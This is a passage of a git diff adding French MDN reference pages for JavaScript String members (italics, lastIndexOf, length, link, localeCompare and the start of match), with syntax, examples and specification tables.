+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.italics()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("i")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>italics</code> encadre la chaîne de caractères dans une balise <code>&lt;i&gt;</code> :<br>
+ <code>"&lt;i&gt;str&lt;/i&gt;</code>"</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les méthodes des chaînes de caractères peuvent être utilisées pour changer le formatage d'une chaîne de caractères :</p>
+
+<pre class="brush:js">var worldString = "Coucou monde";
+
+console.log(worldString.blink());
+console.log(worldString.bold());
+console.log(worldString.italics());
+console.log(worldString.strike());
+</pre>
+
+<p>Cet exemple permet de produire le fragment HTML suivant dans la console :</p>
+
+<pre class="brush:html">&lt;blink&gt;Coucou monde&lt;/blink&gt;
+&lt;b&gt;Coucou monde&lt;/b&gt;
+&lt;i&gt;Coucou monde&lt;/i&gt;
+&lt;strike&gt;Coucou monde&lt;/strike&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.italics', 'String.prototype.italics')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.italics', 'String.prototype.italics')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.italics")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/lastindexof/index.html b/files/fr/web/javascript/reference/objets_globaux/string/lastindexof/index.html
new file mode 100644
index 0000000000..c45c3fc280
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/lastindexof/index.html
@@ -0,0 +1,125 @@
+---
+title: String.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Objets_globaux/String/lastIndexOf
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>lastIndexOf()</code></strong> renvoie l'indice, dans la chaîne courante, de la dernière occurence de la valeur donnée en argument. Si cette sous-chaîne n'est pas trouvée, la méthode renvoie -1. La recherche s'effectue de la fin vers le début de la chaîne, à partir de <code>indiceDébut</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-lastindexof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.lastIndexOf(<var>valeurRecherchée</var>[, <var>indiceDébut</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurRecherchée</code></dt>
+ <dd>Une chaîne qu'on recherche dans la chaîne courante. Si ce paramètre n'est pas défini et que <code>indiceDébut</code> est utilisé, c'est ce dernier qui sera renvoyé par la fonction.</dd>
+ <dt><code>indiceDébut </code>{{optional_inline}}</dt>
+ <dd>Paramètre optionnel. L'emplacement, dans la chaîne courante, à partir duquel effectuer la recherche (en partant de la fin de la chaîne et en remontant vers le début). Cela peut être n'importe quel entier. La valeur par défaut est <code>+Infinity</code>. Si<code> indiceDébut &gt; str.length</code>, toute la chaîne sera parcourue. Si <code>indiceDébut &lt; 0</code>,  on aura le même comportement que si <code>indiceDébut</code> valait 0.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'indice de la dernière occurrence de la valeur indiquée, <code>-1</code> si elle n'est pas trouvée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les caractères d'une chaîne de caractères sont indexés de gauche à droite. L'indice du premier caractère vaut 0 et l'indice du dernier caractère vaut <code>maChaîne.length - 1</code>.</p>
+
+<pre class="brush: js notranslate">'canal'.lastIndexOf('a');     // renvoie 3
+'canal'.lastIndexOf('a', 2);  // renvoie 1
+'canal'.lastIndexOf('a', 0);  // renvoie -1
+'canal'.lastIndexOf('x');     // renvoie -1
+'canal'.lastIndexOf('c', -5); // renvoie 0
+'canal'.lastIndexOf('c', 0);  // renvoie 0
+'canal'.lastIndexOf('');      // renvoie 5
+'canal'.lastIndexOf('', 2);   // renvoie 2
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong> : <code>'abab'.lastIndexOf('ab', 2)</code> renvoie <code>2</code> et pas <code>0</code> car l'argument <code>indiceDébut</code> ne limite que le début de la correspondance recherchée ( qui est <code>'ab'</code>)</p>
+</div>
+
+<h3 id="Sensibilité_à_la_casse">Sensibilité à la casse</h3>
+
+<p>La méthode <code>lastIndexOf()</code> est sensible à la casse (une lettre en minuscule (i) est différente d'une lettre en majuscule (I)). Ainsi, le résultat de l'expression suivante sera -1 :</p>
+
+<pre class="brush: js notranslate">'Blue Whale, Killer Whale'.lastIndexOf('blue'); // renvoie -1
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on utilise {{jsxref("String.prototype.indexOf()", "indexOf()")}} et <code>lastIndexOf()</code> pour situer certaines valeurs dans la chaîne <code>"Brave new world"</code>.</p>
+
+<pre class="brush: js notranslate">var maChaîne = 'Brave new world';
+
+console.log('Indice du premier w ' + maChaîne.indexOf('w'));
+// Affiche 8
+console.log('Indice du dernier w ' + maChaîne.lastIndexOf('w'));
+// Affiche 10
+
+console.log('Indice du premier "new" ' + maChaîne.indexOf('new'));
+// Affiche 6
+console.log('Indice du dernier "new" ' + maChaîne.lastIndexOf('new'));
+// Affiche 6
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.8', 'String.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.lastIndexOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/length/index.html b/files/fr/web/javascript/reference/objets_globaux/string/length/index.html
new file mode 100644
index 0000000000..9e1614ddcd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/length/index.html
@@ -0,0 +1,101 @@
+---
+title: String.length
+slug: Web/JavaScript/Reference/Objets_globaux/String/length
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/length
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>length</code></strong> représente la longueur d'une chaine de caractères, exprimée en nombre de points de code UTF-16. C'est une propriété accessible en lecture seule.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-length.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.length</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette propriété renvoie le nombre de « codets » (ou unités de code ou bien <em>code units</em> en anglais) d'une chaîne de caractères. {{interwiki("wikipedia", "UTF-16")}}. Le format utilisé pour représenter les chaînes de caractères en JavaScript utilise un seul codet sur 16 bits pour représenter la plupart des caractères communs. En revanche, pour représenter les caractères plus rares, deux codets seront utilisés : la valeur renvoyée par <code>length</code> ne correspondra alors pas au nombre de caractères dans la chaîne.</p>
+
+<p>ECMAScript 2016 (la septième édition) établit une longueur maximale de <code>2<sup>53</sup> - 1</code> éléments. Auparavant, aucune longueur maximale n'était spécifiée. Pour Firefox, les chaînes ont une longueur maximale de <code>2<sup>30</sup>-2</code> caractères (environ 1 Go). Pour les versions de Firefox antérieures à Firefox 65, la taille maximale était de de <code>2<sup>28</sup>-1</code> (environ 256 Mo).</p>
+
+<p>Pour une chaine vide, on aura <code>length</code> égal à 0.</p>
+
+<p>La propriété statique <code>String.length</code> renvoie la valeur 1.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_String.length">Utiliser <code>String.length</code></h3>
+
+<pre class="brush: js">const x = "Mozilla";
+const vide = "";
+
+console.log(x + " mesure " + x.length + " codets");
+/* "Mozilla mesure 7 codets" */
+
+console.log("La chaîne vide a une longueur de " + vide.length);
+/* "La chaîne vide a une longueur de 0" */</pre>
+
+<h3 id="Affecter_une_valeur_à_length">Affecter une valeur à <code>length</code></h3>
+
+<pre class="brush: js"><code>const maChaine = "Sloubi";
+// Lorsqu'on tente d'affecter une valeur à la propriété length
+// rien d'observable ne se produit
+
+maChaine.length = 3;
+console.log(maChaine); /* Sloubi */
+console.log(maChaine.length); // 6</code>
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.<br>
+    Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.length")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://developer.teradata.com/blog/jasonstrimpel/2011/11/javascript-string-length-and-internationalizing-web-applications">La propriété JavaScript <code>String.length</code> et l'internationalisation des applications web</a> (en anglais)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/link/index.html b/files/fr/web/javascript/reference/objets_globaux/string/link/index.html
new file mode 100644
index 0000000000..e36f231d3c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/link/index.html
@@ -0,0 +1,85 @@
+---
+title: String.prototype.link()
+slug: Web/JavaScript/Reference/Objets_globaux/String/link
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/link
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>link()</strong></code> permet de créer une chaîne de caractères représentant un élément HTML {{HTMLElement("a")}}, ce qui permet d'afficher la chaîne de caractères comme un lien hypertexte vers une URL donnée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.link(<var>url</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Toute chaîne de caractères pouvant être utilisée comme valeur pour l'attribut <code>href</code> de la balise <code>a</code>. Cette chaîne doit être une URL valide (relative ou absolue) dont les caractères <code>&amp;</code> sont échappés en <code>&amp;amp;</code>, et dont les doubles quotes (<code>"</code>) doivent être échappées avec l'entité <code>&amp;quot;</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("a")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>link</code> permet de créer un fragment HTML avec un lien hypertexte. Le chaîne renvoyée par la méthode peut ensuite être ajoutée au document grâce aux méthodes {{domxref("document.write()")}} ou {{domxref("element.innerHTML")}}.</p>
+
+<p>Les liens créés avec la méthode <code>link</code> deviennent des éléments du tableau <code>links</code>, membre de l'objet <code>document</code>. Voir {{ Domxref("document.links") }}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit affiche le texte "MDN" avec un hyperlien qui envoie l'utilisateur vers le site du Mozilla Developer Network.</p>
+
+<pre class="brush:js">var texteAffiché = "MDN";
+var URL = "https://developer.mozilla.org/";
+
+console.log("Cliquer ici pour revenir sur " + texteAffiché.link(URL));
+// Cliquer ici pour revenir sur &lt;a href="https://developer.mozilla.org/"&gt;MDN&lt;/a&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.link', 'String.prototype.link')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'Annexe B (normative) pour les fonctionnalités ECMAScript additionnelles concernant les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.link', 'String.prototype.link')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'Annexe B (normative) pour les fonctionnalités ECMAScript additionnelles concernant les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.link")}}</p>
+
+<h2 id="Notes_relatives_à_Gecko">Notes relatives à Gecko</h2>
+
+<ul>
+ <li>À partir de Gecko 17.0 {{geckoRelease("17")}} le symbole de double quote <strong>"</strong> est automatiquement remplacé par l'entité HTML de référence dans le paramètre <code>url</code>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.anchor()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/localecompare/index.html b/files/fr/web/javascript/reference/objets_globaux/string/localecompare/index.html
new file mode 100644
index 0000000000..e7e2a2cffd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/localecompare/index.html
@@ -0,0 +1,183 @@
+---
+title: String.prototype.localeCompare()
+slug: Web/JavaScript/Reference/Objets_globaux/String/localeCompare
+tags:
+  - Internationalisation
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/localeCompare
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>localeCompare()</strong></code> renvoie un nombre indiquant si la chaîne de caractères courante se situe avant, après ou est la même que la chaîne passée en paramètre, selon l'ordre lexicographique.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-localecompare.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les arguments <code>locales</code> et <code>options</code> permettent de définir la locale et des options pour adapter le comportement de la fonction. Les anciennes implémentations ignoreront les arguments <code>locales</code> et <code>options</code>. L'ordre de tri utilisé sera entièrement dépendant de l'implémentation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.localeCompare(<var>chaineÀComparer</var> [, <var>locales</var> [, <var>options</var>]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Voir le <a href="#compat" title="#Browser_compatibility">tableau de compatibilité des navigateurs</a> pour savoir quels navigateurs prennent en charge les arguments <code>locales</code> et <code>options</code>. L'<a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/localeCompare#Vérifier_le_support_des_arguments_locales_et_options">exemple pour vérifier le support des arguments <code>locales</code> et <code>options</code></a> fournit un fragment de code pour détecter la prise en charge de ces fonctionnalités.</p>
+
+<dl>
+ <dt><code>chaineÀComparer</code></dt>
+ <dd>La chaîne avec laquelle on souhaite comparer la chaîne de caractères courante.</dd>
+</dl>
+
+<div>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator','Param.C3.A8tres')}}</div>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre négatif si la chaîne de appelante est ordonnée avant la chaîne passée en argument, un nombre positif si elle se situe après, 0 si les deux chaînes sont équivalentes.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie un nombre entier qui indique si la chaîne de caractères courante se situe avant ou après la chaîne passée en argument selon l'ordre lexicographique tenant compte de la locale. Cette méthode renvoie</p>
+
+<ul>
+ <li>un nombre négatif si la chaîne de caractères courant se situe avant la chaîne <code>chaineÀComparer</code></li>
+ <li>un nombre positif si elle se situe après</li>
+ <li>0 si les deux chaînes se situent au même niveau</li>
+</ul>
+
+<p>Attention à ne pas tester que les valeurs -1 et 1. Les valeurs entières utilisées peuvent varier en fonction des navigateurs et de leurs versions. En effet, la spécification indique uniquement le signe de la valeur à fournir. Par exemple, certains navigateurs pourront renvoyer -2 ou 2 (voire d'autres valeurs).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_localeCompare()">Utiliser la méthode <code>localeCompare()</code></h3>
+
+<p>L'exemple qui suit illustre les différents cas de figures lors de la comparaison des chaînes de caractères :</p>
+
+<pre class="brush: js">console.log('a'.localeCompare('c')); // -2, ou -1, ou toute autre valeur négative
+console.log('c'.localeCompare('a')); // 2, ou 1, ou toute autre valeur positive
+console.log('a'.localeCompare('a')); // 0
+</pre>
+
+<p>Les résultats illustrés ici peuvent varier entre les différents navigateurs et selon les versions des navigateurs. En effet, les valeurs renvoyées sont spécifiques selon les implémentations. La spécification définit uniquement le signe de la valeur à renvoyer.</p>
+
+<h3 id="Trier_un_tableau">Trier un tableau</h3>
+
+<p><code>localeCompare()</code> permet de trier un tableau sans tenir compte de la casse :</p>
+
+<pre class="brush: js">var items = ['réservé', 'Premier', 'Cliché', 'communiqué', 'café', 'Adieu'];
+items.sort((a, b) =&gt; a.localeCompare(b, 'fr', {ignorePunctuation: true}));
+// ['Adieu', 'café', 'Cliché', 'communiqué', 'Premier', 'réservé']
+</pre>
+
+<h3 id="Vérifier_le_support_des_arguments_locales_et_options">Vérifier le support des arguments <code>locales</code> et <code>options</code></h3>
+
+<p>Les argument <code>locales</code> et <code>options</code> ne sont pas supportés par tous les navigateurs. Pour vérifier qu'une implémentation supporte ces paramètres, il est possible d'utiliser un cas d'erreur quand on utilise une balise de langue incorrecte (ce qui provoque une exception {{jsxref("RangeError")}}) :</p>
+
+<pre class="brush: js">function localeCompareSupportsLocales() {
+    try {
+        "a".localeCompare​("b", "i");
+    } catch (e) {
+        return e​.name === "RangeError";
+    }
+    return false;
+}
+</pre>
+
+<h3 id="Utiliser_le_paramètre_locales">Utiliser le paramètre <code>locales</code></h3>
+
+<p>Les résultats fournis par la méthode <code>localeCompare()</code> peuvent varier selon les langues utilisées. Pour spécifier la langue à utiliser pour votre application, utiliser l'argument <code>locales</code> pour définir la locale à utiliser (et éventuellement des langues de recours) :</p>
+
+<pre class="brush: js">console.log('ä'.localeCompare('z', 'de')); // une valeur négative : en allemand ä est avant z
+console.log('ä'.localeCompare('z', 'sv')); // une valeur positive : en suédois, ä arrive après z
+</pre>
+
+<h3 id="Utiliser_le_paramètre_options">Utiliser le paramètre <code>options</code></h3>
+
+<p>Les résultats construits par la méthode <code>localeCompare()</code> peuvent être adaptés grâce au paramètre <code>options</code> :</p>
+
+<pre class="brush: js">// en allemand, ä et a ont la même lettre de base
+console.log('ä'.localeCompare('a', 'de', {sensitivity: "base"})); // 0
+
+// en suédois, ä et a n'ont pas la même lettre de base
+console.log('ä'.localeCompare('a', 'sv', {sensitivity: "base"})); // une valeur positive
+</pre>
+
+<h3 id="Tri_numérique">Tri numérique</h3>
+
+<pre class="brush: js">// Par défaut, selon l'ordre lexicographique, "2" est supérieur à "10"
+console.log("2".localeCompare("10")); // 1
+
+// En utilisant un ordre numérique :
+console.log("2".localeCompare("10", undefined, {numeric: true})); // -1
+
+// En utilisant une balise de locale:
+console.log("2".localeCompare("10","en-u-kn-true")); // -1
+</pre>
+
+<h2 id="Performances">Performances</h2>
+
+<p>Pour comparer un grand nombre de chaînes de caractères, par exemple pour trier de grands tableaux, il est préférable de créer un objet {{jsxref("Objets_globaux/Collator", "Intl.Collator")}} et utiliser la fonction fournie par la propriété {{jsxref("Collator.prototype.compare", "compare")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.<br>
+    Implémentée avec JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition des paramètres<code> locale</code> et <code>option</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-String.prototype.localeCompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.localeCompare")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Objets_globaux/Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/match/index.html b/files/fr/web/javascript/reference/objets_globaux/string/match/index.html
new file mode 100644
index 0000000000..cfa8ed4e58
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/match/index.html
@@ -0,0 +1,157 @@
+---
+title: String.prototype.match()
+slug: Web/JavaScript/Reference/Objets_globaux/String/match
+tags:
+  - Expressions rationnelles
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/match
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>match()</code></strong> permet d'obtenir le tableau des correspondances entre la chaîne courante et une expression rationnelle.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-match.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.match(<var>regexp</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>Un objet représentant une expression rationnelle. Si ce n'est pas un objet de type <code>RegExp</code>, celui-ci sera converti en un objet {{jsxref("RegExp")}} grâce à <code>new RegExp(regexp)</code>. Si aucun paramètre n'est utilisé, cela renverra un tableau contenant un élément étant la chaîne vide : <code>[""]</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau ({{jsxref("Array")}}) contenant les correspondances et les groupes capturés avec les parenthèses ou {{jsxref("null")}} s'il n'y a pas de correspondance. Le contenu de ce tableau dépend de l'utilisation du marqueur pour la recherche globale <code>g</code> :</p>
+
+<ul>
+ <li>Si le marqueur <code>g</code> est utilisé, tous les résultats correspondants à l'expression rationnelle complète seront renvoyés mais les groupes capturants ne seront pas renvoyés.</li>
+ <li>Si le marqueur <code>g</code> n'est pas utilisé, seule la première correspondance et ses groupes capturants seront renvoyés. Dans ce cas, l'élément renvoyé aura des propriétés supplémentaires listées ci-après.</li>
+</ul>
+
+<h4 id="Propriétés_supplémentaires">Propriétés supplémentaires</h4>
+
+<p>Comme indiqué ci-avant, les résultats peuvent contenir certaines propriétés supplémentaires :</p>
+
+<ul>
+ <li><code>groups</code> : un tableau de groupes capturants nommés ou {{jsxref("undefined")}} si aucun groupe capturant n'a été défini. Voir <a href="/fr/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">la page sur les groupes et les intervalles</a> pour plus d'informations.</li>
+ <li><code>index</code> : l'indice de la chaîne de caractères où a été trouvée la correspondance.</li>
+ <li><code>input</code> : une copie de la chaîne sur laquelle a été effectuée la recherche.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>Si l'expression n'utilise pas le drapeau (<em>flag</em>) <code>g</code>, le résultat obtenu sera le même qu'avec {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}.</p>
+
+<h3 id="Voir_aussi_les_méthodes_de_RegExp">Voir aussi : les méthodes de <code>RegExp</code></h3>
+
+<ul>
+ <li>Si on souhaite savoir s'il existe des correspondances entre une chaîne de caractères et une expression rationnelle {{jsxref("RegExp")}}, on pourra utiliser {{jsxref("RegExp.prototype.test()", "RegExp.test()")}}.</li>
